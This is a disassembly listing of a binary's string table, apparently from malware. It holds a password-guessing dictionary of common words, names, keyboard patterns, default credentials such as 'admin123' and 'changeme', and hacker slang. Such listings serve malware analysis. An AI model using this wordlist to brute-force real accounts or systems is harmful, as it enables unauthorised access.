aCops db 'cops',0 ; DATA XREF: seg001:0042CAE8o
align 4
aCopper db 'copper',0 ; DATA XREF: seg001:0042CAE4o
align 10h
aCooper db 'cooper',0 ; DATA XREF: seg001:0042CAE0o
align 4
aCool db 'cool',0 ; DATA XREF: seg001:0042CADCo
align 10h
aCookie db 'cookie',0 ; DATA XREF: seg001:0042CAD8o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: seg001:0042CAD4o
align 4
aCook db 'cook',0 ; DATA XREF: seg001:0042CAD0o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_40CD3A+1EE6o
; seg001:0042CACCo
align 4
aConsole db 'console',0 ; DATA XREF: seg001:0042CAC8o
aConserva db 'conserva',0 ; DATA XREF: seg001:0042CAC4o
align 4
aConnie db 'connie',0 ; DATA XREF: seg001:0042CAC0o
align 4
aCondom db 'condom',0 ; DATA XREF: seg001:0042CAB8o
align 4
aCondo db 'condo',0 ; DATA XREF: seg001:0042CAB4o
align 4
aComrades db 'comrades',0 ; DATA XREF: seg001:0042CAB0o
align 10h
aComrade db 'comrade',0 ; DATA XREF: seg001:0042CAACo
aComputin db 'computin',0 ; DATA XREF: seg001:0042CAA8o
align 4
aCompany db 'company',0 ; DATA XREF: seg001:0042CAA4o
aCommrade db 'commrade',0 ; DATA XREF: seg001:0042CAA0o
align 4
aCommit db 'commit',0 ; DATA XREF: seg001:0042CA9Co
align 10h
aComics db 'comics',0 ; DATA XREF: seg001:0042CA98o
align 4
aCombat db 'combat',0 ; DATA XREF: seg001:0042CA94o
align 10h
aColor db 'color',0 ; DATA XREF: seg001:0042CA90o
align 4
aCollins db 'collins',0 ; DATA XREF: seg001:0042CA8Co
aCold db 'cold',0 ; DATA XREF: seg001:0042CA88o
align 4
aCola db 'cola',0 ; DATA XREF: seg001:0042CA84o
align 10h
aCoke db 'coke',0 ; DATA XREF: seg001:0042CA80o
align 4
aCoin db 'coin',0 ; DATA XREF: seg001:0042CA7Co
align 10h
aCoffee db 'coffee',0 ; DATA XREF: seg001:0042CA78o
align 4
aCodeword db 'codeword',0 ; DATA XREF: seg001:0042CA74o
align 4
aCodename db 'codename',0 ; DATA XREF: seg001:0042CA70o
align 10h
aCode db 'code',0 ; DATA XREF: seg001:0042CA6Co
align 4
aCock db 'cock',0 ; DATA XREF: seg001:0042CA68o
align 10h
aCocainco db 'cocainco',0 ; DATA XREF: seg001:0042CA64o
align 4
aCocacola db 'cocacola',0 ; DATA XREF: seg001:0042CA60o
align 4
aCoast db 'coast',0 ; DATA XREF: seg001:0042CA5Co
align 10h
aClusters db 'clusters',0 ; DATA XREF: seg001:0042CA58o
align 4
aCluster db 'cluster',0 ; DATA XREF: seg001:0042CA54o
aClinton db 'clinton',0 ; DATA XREF: seg001:0042CA50o
aCleavage db 'cleavage',0 ; DATA XREF: seg001:0042CA4Co
align 4
aClaymore db 'claymore',0 ; DATA XREF: seg001:0042CA48o
align 4
aClaudia db 'claudia',0 ; DATA XREF: seg001:0042CA44o
aClassic db 'classic',0 ; DATA XREF: seg001:0042CA40o
aClasses db 'classes',0 ; DATA XREF: seg001:0042CA3Co
aClass db 'class',0 ; DATA XREF: seg001:0042CA38o
align 4
aCindy db 'cindy',0 ; DATA XREF: seg001:0042CA34o
align 4
aCigarett db 'cigarett',0 ; DATA XREF: seg001:0042CA30o
align 4
aCigar db 'cigar',0 ; DATA XREF: seg001:0042CA2Co
align 10h
aChristy db 'christy',0 ; DATA XREF: seg001:0042CA28o
aChristin db 'christin',0 ; DATA XREF: seg001:0042CA24o
align 4
aChris db 'chris',0 ; DATA XREF: seg001:0042CA20o
align 4
aChip db 'chip',0 ; DATA XREF: seg001:0042CA1Co
align 4
aChester db 'chester',0 ; DATA XREF: seg001:0042CA18o
aChess db 'chess',0 ; DATA XREF: seg001:0042CA14o
align 4
aChemistr db 'chemistr',0 ; DATA XREF: seg001:0042CA10o
align 10h
aChem db 'chem',0 ; DATA XREF: seg001:0042CA0Co
align 4
aChat_0 db 'chat',0 ; DATA XREF: seg001:0042CA08o
align 10h
aCharon db 'charon',0 ; DATA XREF: seg001:0042CA04o
align 4
aCharming db 'charming',0 ; DATA XREF: seg001:0042CA00o
align 4
aCharlie db 'charlie',0 ; DATA XREF: seg001:0042C9FCo
aCharles db 'charles',0 ; DATA XREF: seg001:0042C9F8o
aCharity db 'charity',0 ; DATA XREF: seg001:0042C9F4o
aChange db 'change',0 ; DATA XREF: seg001:0042C9F0o
align 4
aCerulean db 'cerulean',0 ; DATA XREF: seg001:0042C9ECo
align 10h
aCeltics db 'celtics',0 ; DATA XREF: seg001:0042C9E8o
aCeltic db 'celtic',0 ; DATA XREF: seg001:0042C9E4o
align 10h
aCelt db 'celt',0 ; DATA XREF: seg001:0042C9E0o
align 4
aCecily db 'cecily',0 ; DATA XREF: seg001:0042C9DCo
align 10h
aCayuga db 'cayuga',0 ; DATA XREF: seg001:0042C9D8o
align 4
aCave db 'cave',0 ; DATA XREF: seg001:0042C9D4o
align 10h
aCathy db 'cathy',0 ; DATA XREF: seg001:0042C9D0o
align 4
aCatholic db 'catholic',0 ; DATA XREF: seg001:0042C9CCo
align 4
aCatherin db 'catherin',0 ; DATA XREF: seg001:0042C9C8o
align 10h
aCastle db 'castle',0 ; DATA XREF: seg001:0042C9C4o
align 4
aCash db 'cash',0 ; DATA XREF: seg001:0042C9C0o
align 10h
aCascades db 'cascades',0 ; DATA XREF: seg001:0042C9BCo
align 4
aCarson db 'carson',0 ; DATA XREF: seg001:0042C9B8o
align 4
aCarrie db 'carrie',0 ; DATA XREF: seg001:0042C9B4o
align 4
aCaroline db 'caroline',0 ; DATA XREF: seg001:0042C9B0o
align 4
aCarolina db 'carolina',0 ; DATA XREF: seg001:0042C9ACo
align 4
aCarole db 'carole',0 ; DATA XREF: seg001:0042C9A8o
align 4
aCarol db 'carol',0 ; DATA XREF: seg001:0042C9A4o
align 4
aCarmen db 'carmen',0 ; DATA XREF: seg001:0042C9A0o
align 4
aCarla db 'carla',0 ; DATA XREF: seg001:0042C99Co
align 4
aCaren db 'caren',0 ; DATA XREF: seg001:0042C998o
align 4
aCardinal db 'cardinal',0 ; DATA XREF: seg001:0042C994o
align 4
aCard db 'card',0 ; DATA XREF: seg001:0042C990o
align 10h
aCapture db 'capture',0 ; DATA XREF: seg001:0042C98Co
aCaptain db 'captain',0 ; DATA XREF: seg001:0042C988o
aCantor db 'cantor',0 ; DATA XREF: seg001:0042C984o
align 4
aCandy db 'candy',0 ; DATA XREF: seg001:0042C980o
align 10h
aCandi db 'candi',0 ; DATA XREF: seg001:0042C97Co
align 4
aCamping db 'camping',0 ; DATA XREF: seg001:0042C978o
aCampanil db 'campanil',0 ; DATA XREF: seg001:0042C974o
align 4
aCamille db 'camille',0 ; DATA XREF: seg001:0042C970o
aCaliforn db 'californ',0 ; DATA XREF: seg001:0042C96Co
align 10h
aButthead db 'butthead',0 ; DATA XREF: seg001:0042C968o
align 4
aButt db 'butt',0 ; DATA XREF: seg001:0042C964o
align 4
aButch db 'butch',0 ; DATA XREF: seg001:0042C960o
align 4
aBurn db 'burn',0 ; DATA XREF: seg001:0042C95Co
align 4
aBurgess db 'burgess',0 ; DATA XREF: seg001:0042C958o
aBung db 'bung',0 ; DATA XREF: seg001:0042C954o
align 4
aBumbling db 'bumbling',0 ; DATA XREF: seg001:0042C950o
align 10h
aBullshit db 'bullshit',0 ; DATA XREF: seg001:0042C94Co
align 4
aBulls db 'bulls',0 ; DATA XREF: seg001:0042C948o
align 4
aBrutefor db 'brutefor',0 ; DATA XREF: seg001:0042C944o
align 10h
aBrute db 'brute',0 ; DATA XREF: seg001:0042C940o
align 4
aBrunette db 'brunette',0 ; DATA XREF: seg001:0042C93Co
align 4
aBrothel db 'brothel',0 ; DATA XREF: seg001:0042C938o
aBroadway db 'broadway',0 ; DATA XREF: seg001:0042C934o
align 4
aBridget db 'bridget',0 ; DATA XREF: seg001:0042C930o
aBrian db 'brian',0 ; DATA XREF: seg001:0042C92Co
align 4
aBrenda db 'brenda',0 ; DATA XREF: seg001:0042C928o
align 10h
aBreast db 'breast',0 ; DATA XREF: seg001:0042C924o
align 4
aBreak db 'break',0 ; DATA XREF: seg001:0042C920o
align 10h
aBravo db 'bravo',0 ; DATA XREF: seg001:0042C91Co
align 4
aBrandy db 'brandy',0 ; DATA XREF: seg001:0042C918o
align 10h
aBrandi db 'brandi',0 ; DATA XREF: seg001:0042C914o
align 4
aBradley db 'bradley',0 ; DATA XREF: seg001:0042C910o
aBoyscout db 'boyscout',0 ; DATA XREF: seg001:0042C90Co
align 4
aBorn db 'born',0 ; DATA XREF: seg001:0042C908o
align 4
aBook db 'book',0 ; DATA XREF: seg001:0042C904o
align 4
aBoobs db 'boobs',0 ; DATA XREF: seg001:0042C900o
align 4
aBoob db 'boob',0 ; DATA XREF: seg001:0042C8FCo
align 4
aBoner db 'boner',0 ; DATA XREF: seg001:0042C8F8o
align 4
aBomb db 'bomb',0 ; DATA XREF: seg001:0042C8F4o
align 4
aBoard db 'board',0 ; DATA XREF: seg001:0042C8F0o
align 4
aBlues db 'blues',0 ; DATA XREF: seg001:0042C8ECo
align 4
aBlue db 'blue',0 ; DATA XREF: seg001:0042C8E8o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: seg001:0042C8E4o
aBlow db 'blow',0 ; DATA XREF: seg001:0042C8E0o
align 4
aBloodaxe db 'bloodaxe',0 ; DATA XREF: seg001:0042C8DCo
align 10h
aBlood db 'blood',0 ; DATA XREF: seg001:0042C8D8o
align 4
aBlondie db 'blondie',0 ; DATA XREF: seg001:0042C8D4o
aBlonde db 'blonde',0 ; DATA XREF: seg001:0042C8D0o
align 4
aBlack db 'black',0 ; DATA XREF: seg001:0042C8CCo
align 10h
aBitnet db 'bitnet',0 ; DATA XREF: seg001:0042C8C8o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: seg001:0042C8C4o
align 10h
aBitch db 'bitch',0 ; DATA XREF: seg001:0042C8C0o
align 4
aBishop db 'bishop',0 ; DATA XREF: seg001:0042C8BCo
align 10h
aBird db 'bird',0 ; DATA XREF: seg001:0042C8B8o
align 4
aBios db 'bios',0 ; DATA XREF: seg001:0042C8B4o
align 10h
aBinary db 'binary',0 ; DATA XREF: seg001:0042C8B0o
align 4
aBill db 'bill',0 ; DATA XREF: seg001:0042C8ACo
align 10h
aBigfoot db 'bigfoot',0 ; DATA XREF: seg001:0042C8A8o
aBicamera db 'bicamera',0 ; DATA XREF: seg001:0042C8A4o
align 4
aBible db 'bible',0 ; DATA XREF: seg001:0042C8A0o
align 4
aBeverly db 'beverly',0 ; DATA XREF: seg001:0042C89Co
aBetty db 'betty',0 ; DATA XREF: seg001:0042C898o
align 4
aBetsie db 'betsie',0 ; DATA XREF: seg001:0042C894o
align 4
aBeth db 'beth',0 ; DATA XREF: seg001:0042C890o
align 4
aBeta db 'beta',0 ; DATA XREF: seg001:0042C88Co
align 4
aBeryl db 'beryl',0 ; DATA XREF: seg001:0042C888o
align 4
aBerliner db 'berliner',0 ; DATA XREF: seg001:0042C884o
align 4
aBerlin db 'berlin',0 ; DATA XREF: seg001:0042C880o
align 10h
aBerkeley db 'berkeley',0 ; DATA XREF: seg001:0042C87Co
align 4
aBeowulf db 'beowulf',0 ; DATA XREF: seg001:0042C878o
aBenz db 'benz',0 ; DATA XREF: seg001:0042C874o
align 4
aBeloved db 'beloved',0 ; DATA XREF: seg001:0042C870o
aBell db 'bell',0 ; DATA XREF: seg001:0042C86Co
align 4
aBehead db 'behead',0 ; DATA XREF: seg001:0042C868o
align 4
aBegin db 'begin',0 ; DATA XREF: seg001:0042C864o
align 4
aBeethove db 'beethove',0 ; DATA XREF: seg001:0042C860o
align 4
aBecky db 'becky',0 ; DATA XREF: seg001:0042C85Co
align 10h
aBeaver db 'beaver',0 ; DATA XREF: seg001:0042C858o
align 4
aBeauty db 'beauty',0 ; DATA XREF: seg001:0042C854o
align 10h
aBeater db 'beater',0 ; DATA XREF: seg001:0042C850o
align 4
aBeast db 'beast',0 ; DATA XREF: seg001:0042C84Co
align 10h
aBear db 'bear',0 ; DATA XREF: seg001:0042C848o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: seg001:0042C844o
align 4
aBeach db 'beach',0 ; DATA XREF: seg001:0042C840o
align 4
aBatman db 'batman',0 ; DATA XREF: seg001:0042C83Co
align 4
aBatch db 'batch',0 ; DATA XREF: seg001:0042C838o
align 4
aBassoon db 'bassoon',0 ; DATA XREF: seg001:0042C834o
aBass db 'bass',0 ; DATA XREF: seg001:0042C830o
align 4
aBasic db 'basic',0 ; DATA XREF: seg001:0042C82Co
align 4
aBaseball db 'baseball',0 ; DATA XREF: seg001:0042C828o
align 10h
aBartman db 'bartman',0 ; DATA XREF: seg001:0042C824o
aBart db 'bart',0 ; DATA XREF: seg001:0042C820o
align 10h
aBaritone db 'baritone',0 ; DATA XREF: seg001:0042C81Co
align 4
aBarf db 'barf',0 ; DATA XREF: seg001:0042C818o
align 4
aBare db 'bare',0 ; DATA XREF: seg001:0042C814o
align 4
aBarber db 'barber',0 ; DATA XREF: seg001:0042C810o
align 4
aBarbara db 'barbara',0 ; DATA XREF: seg001:0042C80Co
aBanks db 'banks',0 ; DATA XREF: seg001:0042C808o
align 4
aBank db 'bank',0 ; DATA XREF: seg001:0042C804o
align 4
aBandit db 'bandit',0 ; DATA XREF: seg001:0042C800o
align 4
aBananas db 'bananas',0 ; DATA XREF: seg001:0042C7FCo
aBanana db 'banana',0 ; DATA XREF: seg001:0042C7F8o
align 4
aBall db 'ball',0 ; DATA XREF: seg001:0042C7F4o
align 4
aBailey db 'bailey',0 ; DATA XREF: seg001:0042C7F0o
align 4
aBadass db 'badass',0 ; DATA XREF: seg001:0042C7ECo
align 4
aBackdoor db 'backdoor',0 ; DATA XREF: seg001:0042C7E8o
align 4
aBacchus db 'bacchus',0 ; DATA XREF: seg001:0042C7E4o
aBaby db 'baby',0 ; DATA XREF: seg001:0042C7E0o
align 4
aBabe db 'babe',0 ; DATA XREF: seg001:0042C7DCo
align 10h
aAzure db 'azure',0 ; DATA XREF: seg001:0042C7D8o
align 4
aAztecs db 'aztecs',0 ; DATA XREF: seg001:0042C7D4o
align 10h
aAuthoriz db 'authoriz',0 ; DATA XREF: seg001:0042C7D0o
align 4
aAttack db 'attack',0 ; DATA XREF: seg001:0042C7CCo
align 4
aAtom db 'atom',0 ; DATA XREF: seg001:0042C7C8o
align 4
aAtmosphe db 'atmosphe',0 ; DATA XREF: seg001:0042C7C4o
align 4
aAthena db 'athena',0 ; DATA XREF: seg001:0042C7C0o
align 10h
aAsshole db 'asshole',0 ; DATA XREF: seg001:0042C7BCo
aAsian db 'asian',0 ; DATA XREF: seg001:0042C7B8o
align 10h
aArtist db 'artist',0 ; DATA XREF: seg001:0042C7B4o
align 4
aArthur db 'arthur',0 ; DATA XREF: seg001:0042C7B0o
align 10h
aArrow db 'arrow',0 ; DATA XREF: seg001:0042C7ACo
align 4
aArmy db 'army',0 ; DATA XREF: seg001:0042C7A8o
align 10h
aArlene db 'arlene',0 ; DATA XREF: seg001:0042C7A4o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: seg001:0042C7A0o
aAria db 'aria',0 ; DATA XREF: seg001:0042C79Co
align 4
aApril db 'april',0 ; DATA XREF: seg001:0042C798o
align 10h
aApollo13 db 'apollo13',0 ; DATA XREF: seg001:0042C794o
align 4
aAnything db 'anything',0 ; DATA XREF: seg001:0042C790o
align 4
aAnvils db 'anvils',0 ; DATA XREF: seg001:0042C78Co
align 10h
aAnthropo db 'anthropo',0 ; DATA XREF: seg001:0042C788o
align 4
aAnthrax db 'anthrax',0 ; DATA XREF: seg001:0042C784o
aAnswer db 'answer',0 ; DATA XREF: seg001:0042C780o
align 4
aAnonymou db 'anonymou',0 ; DATA XREF: seg001:0042C77Co
align 4
aAnon db 'anon',0 ; DATA XREF: seg001:0042C778o
align 10h
aAnnette db 'annette',0 ; DATA XREF: seg001:0042C774o
aAnne db 'anne',0 ; DATA XREF: seg001:0042C770o
align 10h
aAnna db 'anna',0 ; DATA XREF: seg001:0042C76Co
align 4
aAnita db 'anita',0 ; DATA XREF: seg001:0042C768o
align 10h
aAnimals db 'animals',0 ; DATA XREF: seg001:0042C764o
aAnimal db 'animal',0 ; DATA XREF: seg001:0042C760o
align 10h
aAngie db 'angie',0 ; DATA XREF: seg001:0042C75Co
align 4
aAngerine db 'angerine',0 ; DATA XREF: seg001:0042C758o
align 4
aAngela db 'angela',0 ; DATA XREF: seg001:0042C754o
align 4
aAnfo db 'anfo',0 ; DATA XREF: seg001:0042C750o
align 4
aAndy db 'andy',0 ; DATA XREF: seg001:0042C74Co
align 4
aAndromac db 'andromac',0 ; DATA XREF: seg001:0042C748o
align 4
aAndroid db 'android',0 ; DATA XREF: seg001:0042C744o
aAndrea db 'andrea',0 ; DATA XREF: seg001:0042C740o
align 4
aAnchor db 'anchor',0 ; DATA XREF: seg001:0042C73Co
align 10h
aAnarchy db 'anarchy',0 ; DATA XREF: seg001:0042C738o
aAnarchis db 'anarchis',0 ; DATA XREF: seg001:0042C734o
align 4
aAnalog db 'analog',0 ; DATA XREF: seg001:0042C730o
align 4
aAnal db 'anal',0 ; DATA XREF: seg001:0042C72Co
align 4
aAmorphou db 'amorphou',0 ; DATA XREF: seg001:0042C728o
align 10h
aAmerica db 'america',0 ; DATA XREF: seg001:0042C724o
aAmber db 'amber',0 ; DATA XREF: seg001:0042C720o
align 10h
aAmanda db 'amanda',0 ; DATA XREF: seg001:0042C71Co
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: seg001:0042C718o
aAlphabet db 'alphabet',0 ; DATA XREF: seg001:0042C714o
align 4
aAllow db 'allow',0 ; DATA XREF: seg001:0042C710o
align 4
aAllison db 'allison',0 ; DATA XREF: seg001:0042C70Co
aAlison db 'alison',0 ; DATA XREF: seg001:0042C708o
align 4
aAlisa db 'alisa',0 ; DATA XREF: seg001:0042C704o
align 4
aAlicia db 'alicia',0 ; DATA XREF: seg001:0042C700o
align 4
aAlice db 'alice',0 ; DATA XREF: seg001:0042C6FCo
align 4
aAliases db 'aliases',0 ; DATA XREF: seg001:0042C6F8o
aAlias db 'alias',0 ; DATA XREF: seg001:0042C6F4o
align 4
aAlgebra db 'algebra',0 ; DATA XREF: seg001:0042C6F0o
aAlexande db 'alexande',0 ; DATA XREF: seg001:0042C6ECo
align 10h
aAlex db 'alex',0 ; DATA XREF: seg001:0042C6E8o
align 4
aAlert db 'alert',0 ; DATA XREF: seg001:0042C6E4o
align 10h
aAlbert db 'albert',0 ; DATA XREF: seg001:0042C6E0o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: seg001:0042C6DCo
align 4
aAlbany db 'albany',0 ; DATA XREF: seg001:0042C6D8o
align 4
aAlaska db 'alaska',0 ; DATA XREF: seg001:0042C6D4o
align 4
aAirplane db 'airplane',0 ; DATA XREF: seg001:0042C6D0o
align 10h
aAids db 'aids',0 ; DATA XREF: seg001:0042C6CCo
align 4
aAerobics db 'aerobics',0 ; DATA XREF: seg001:0042C6C8o
align 4
aAdult db 'adult',0 ; DATA XREF: seg001:0042C6C4o
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: seg001:0042C6C0o
align 4
aAdrian db 'adrian',0 ; DATA XREF: seg001:0042C6BCo
align 10h
aAdam db 'adam',0 ; DATA XREF: seg001:0042C6B8o
align 4
aAction db 'action',0 ; DATA XREF: seg001:0042C6B4o
align 10h
aAccount db 'account',0 ; DATA XREF: seg001:0042C6B0o
aAcademic db 'academic',0 ; DATA XREF: seg001:0042C6A8o
align 4
aAcademia db 'academia',0 ; DATA XREF: seg001:0042C6A4o
align 10h
a000000 db '000000',0 ; DATA XREF: seg001:0042C6A0o
; seg001:0042E0B8o
align 4
a00000 db '00000',0 ; DATA XREF: seg001:0042C69Co
; seg001:0042E0B4o
align 10h
a0000 db '0000',0 ; DATA XREF: seg001:0042C698o
; seg001:0042E0B0o
align 4
a000 db '000',0 ; DATA XREF: seg001:0042C694o
; seg001:0042E0ACo
aTesting db 'testing',0 ; DATA XREF: seg001:0042C690o
aDeath db 'death',0 ; DATA XREF: seg001:0042C68Co
align 4
a00 db '00',0 ; DATA XREF: seg001:0042C688o
; seg001:0042E0A8o
align 10h
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: seg001:0042C680o
; seg001:0042E4F8o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: seg001:0042C67Co
; seg001:0042E4F4o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: seg001:0042C678o
; seg001:0042E4F0o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: seg001:0042C674o
; seg001:0042E4ECo
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: seg001:0042C670o
; seg001:0042E4E8o
align 10h
aXxxx db 'xxxx',0 ; DATA XREF: seg001:0042C66Co
; seg001:0042E4E4o
align 4
aXxx db 'xxx',0 ; DATA XREF: seg001:0042C668o
; seg001:0042E4E0o
aXx db 'xx',0 ; DATA XREF: seg001:0042C664o
; seg001:0042E4DCo
align 10h
asc_432D30: ; DATA XREF: seg001:0042C660o
; seg001:0042E4D8o
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: seg001:0042C65Co
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: seg001:0042C658o
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: seg001:0042C654o
align 4
aMirc_0 db 'mirc',0 ; DATA XREF: seg001:0042C650o
align 4
aKiddie db 'kiddie',0 ; DATA XREF: seg001:0042C64Co
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: seg001:0042C648o
align 4
aScript db 'script',0 ; DATA XREF: seg001:0042C644o
align 4
aHax0r db 'hax0r',0 ; DATA XREF: seg001:0042C640o
align 4
aHacker db 'hacker',0 ; DATA XREF: seg001:0042C63Co
align 4
aL337 db 'l337',0 ; DATA XREF: seg001:0042C638o
align 4
aL33t db 'l33t',0 ; DATA XREF: seg001:0042C634o
align 4
aLeet db 'leet',0 ; DATA XREF: seg001:0042C630o
align 4
aKiller db 'killer',0 ; DATA XREF: seg001:0042C62Co
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: seg001:0042C628o
; seg001:0042E114o
align 4
aW00t db 'w00t',0 ; DATA XREF: seg001:0042C624o
align 4
aHeaven db 'heaven',0 ; DATA XREF: seg001:0042C620o
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: seg001:0042C61Co
align 4
aSatanic db 'satanic',0 ; DATA XREF: seg001:0042C618o
aSatanik db 'satanik',0 ; DATA XREF: seg001:0042C614o
aSatan db 'satan',0 ; DATA XREF: seg001:0042C610o
align 10h
aGobo db 'gobo',0 ; DATA XREF: seg001:0042C60Co
align 4
aMatthew db 'Matthew',0 ; DATA XREF: seg001:0042C608o
aMatt db 'Matt',0 ; DATA XREF: seg001:0042C604o
align 4
aMat db 'Mat',0 ; DATA XREF: seg001:0042C600o
aPw db 'pw',0 ; DATA XREF: seg001:0042C5FCo
align 10h
aMypass123 db 'mypass123',0 ; DATA XREF: seg001:0042C5F8o
align 4
aMypass db 'mypass',0 ; DATA XREF: seg001:0042C5F4o
align 4
aPw123 db 'pw123',0 ; DATA XREF: seg001:0042C5F0o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: seg001:0042C5ECo
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: seg001:0042C5E8o
aMypc db 'mypc',0 ; DATA XREF: seg001:0042C5E4o
align 4
aLove db 'love',0 ; DATA XREF: seg001:0042C5E0o
align 10h
aPwd db 'pwd',0 ; DATA XREF: seg001:0042C5DCo
aLogin db 'login',0 ; DATA XREF: seg001:0042C5D8o
align 4
aHome db 'home',0 ; DATA XREF: seg001:0042C5D4o
align 4
aZxcv db 'zxcv',0 ; DATA XREF: seg001:0042C5D0o
; seg001:0042E518o
align 4
aYxcv db 'yxcv',0 ; DATA XREF: seg001:0042C5CCo
align 4
aQwer db 'qwer',0 ; DATA XREF: seg001:0042C5C8o
; seg001:0042E484o
align 4
aSecret db 'secret',0 ; DATA XREF: seg001:0042C5C4o
align 4
aAsdf db 'asdf',0 ; DATA XREF: seg001:0042C5C0o
; seg001:0042E530o
align 4
aPc db 'pc',0 ; DATA XREF: seg001:0042C5BCo
align 10h
aWin db 'win',0 ; DATA XREF: seg001:0042C5B8o
aTest123 db 'test123',0 ; DATA XREF: seg001:0042C5B4o
aAbc db 'abc',0 ; DATA XREF: seg001:0042C5B0o
aAaa db 'aaa',0 ; DATA XREF: seg001:0042C5ACo
; seg001:0042E458o
aA_2: ; DATA XREF: seg001:0042C5A8o
; seg001:0042E450o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: seg001:0042C5A4o
align 10h
aFucked db 'fucked',0 ; DATA XREF: seg001:0042C5A0o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: seg001:0042C59Co
aIrule db 'irule',0 ; DATA XREF: seg001:0042C598o
align 4
aOwned db 'owned',0 ; DATA XREF: seg001:0042C594o
align 10h
a0wned db '0wned',0 ; DATA XREF: seg001:0042C590o
; seg001:0042E118o
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: seg001:0042C58Co
align 4
aNetdevil db 'netdevil',0 ; DATA XREF: seg001:0042C588o
align 10h
aDevil db 'devil',0 ; DATA XREF: seg001:0042C584o
align 4
aNilez db 'Nilez',0 ; DATA XREF: seg001:0042C580o
align 10h
aFoobar db 'foobar',0 ; DATA XREF: seg001:0042C57Co
align 4
aGod db 'god',0 ; DATA XREF: seg001:0042C578o
aSex_0 db 'sex',0 ; DATA XREF: seg001:0042C574o
aPat db 'pat',0 ; DATA XREF: seg001:0042C570o
aPatrick db 'patrick',0 ; DATA XREF: seg001:0042C56Co
aAlpha db 'alpha',0 ; DATA XREF: seg001:0042C568o
align 4
a007 db '007',0 ; DATA XREF: seg001:0042C564o
; seg001:0042E104o
a123abc db '123abc',0 ; DATA XREF: seg001:0042C560o
; seg001:0042E314o
align 10h
a1234qwer db '1234qwer',0 ; DATA XREF: seg001:0042C55Co
; seg001:0042E320o
align 4
a123123 db '123123',0 ; DATA XREF: seg001:0042C558o
; seg001:0042E2C0o
align 4
a121212 db '121212',0 ; DATA XREF: seg001:0042C554o
; seg001:0042E2B8o
align 4
a111111 db '111111',0 ; DATA XREF: seg001:0042C550o
; seg001:0042E130o
align 4
a110 db '110',0 ; DATA XREF: seg001:0042C54Co
; seg001:0042E284o
a2600 db '2600',0 ; DATA XREF: seg001:0042C548o
; seg001:0042E40Co
align 10h
a2002 db '2002',0 ; DATA XREF: seg001:0042C540o
; seg001:0042E3F8o
align 4
aXp_0 db 'xp',0 ; DATA XREF: seg001:0042C53Co
align 4
aEnable db 'enable',0 ; DATA XREF: seg001:0042C538o
align 4
aGodblessyou db 'godblessyou',0 ; DATA XREF: seg001:0042C534o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: seg001:0042C530o
a123asd db '123asd',0 ; DATA XREF: seg001:0042C52Co
; seg001:0042E318o
align 4
aSuper db 'super',0 ; DATA XREF: seg001:0042C528o
align 4
aInternet db 'Internet',0 ; DATA XREF: seg001:0042C524o
align 4
a123qwe db '123qwe',0 ; DATA XREF: seg001:0042C51Co
; seg001:0042E31Co
align 10h
aSybase db 'sybase',0 ; DATA XREF: seg001:0042C518o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: seg001:0042C510o
align 10h
aAbcd db 'abcd',0 ; DATA XREF: seg001:0042C50Co
align 4
aPasswd db 'passwd',0 ; DATA XREF: seg001:0042C504o
align 10h
aPass_0 db 'pass',0 ; DATA XREF: seg001:0042C500o
align 4
a88888888 db '88888888',0 ; DATA XREF: seg001:0042C4FCo
; seg001:0042E250o
align 4
a11111111 db '11111111',0 ; DATA XREF: seg001:0042C4F8o
; seg001:0042E138o
align 10h
a111 db '111',0 ; DATA XREF: seg001:0042C4F4o
; seg001:0042E124o
a54321 db '54321',0 ; DATA XREF: seg001:0042C4F0o
; seg001:0042E418o
align 4
a654321 db '654321',0 ; DATA XREF: seg001:0042C4ECo
; seg001:0042E41Co
align 4
a123456789 db '123456789',0 ; DATA XREF: seg001:0042C4E8o
; seg001:0042E2D8o
align 10h
a12345678 db '12345678',0 ; DATA XREF: seg001:0042C4E4o
; seg001:0042E2D4o
align 4
a1234567 db '1234567',0 ; DATA XREF: seg001:0042C4E0o
; seg001:0042E2D0o
a123456 db '123456',0 ; DATA XREF: seg001:0042C4DCo
; seg001:0042E2CCo
align 4
a12345 db '12345',0 ; DATA XREF: seg001:0042C4D8o
; seg001:0042E2C8o
align 4
a1234 db '1234',0 ; DATA XREF: seg001:0042C4D4o
; seg001:0042E2C4o
align 4
a123 db '123',0 ; DATA XREF: seg001:0042C4D0o
; seg001:0042E2BCo
a12 db '12',0 ; DATA XREF: seg001:0042C4CCo
; seg001:0042E2B0o
align 4
a1: ; DATA XREF: seg001:0042C4C8o
; seg001:0042E11Co
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: seg001:0042C4C4o
aChangeme_0 db 'Changeme',0 ; DATA XREF: seg001:0042C4C0o
align 4
aChangeme db 'changeme',0 ; DATA XREF: seg001:0042C4BCo
align 4
aLinux db 'linux',0 ; DATA XREF: seg001:0042C4B8o
align 10h
aUnix db 'unix',0 ; DATA XREF: seg001:0042C4B4o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: seg001:0042C4B0o
align 10h
aPepsi db 'pepsi',0 ; DATA XREF: seg001:0042C4ACo
align 4
aServer_1 db 'SERVER',0 ; DATA XREF: seg001:0042C4A8o
; seg001:0042E868o
align 10h
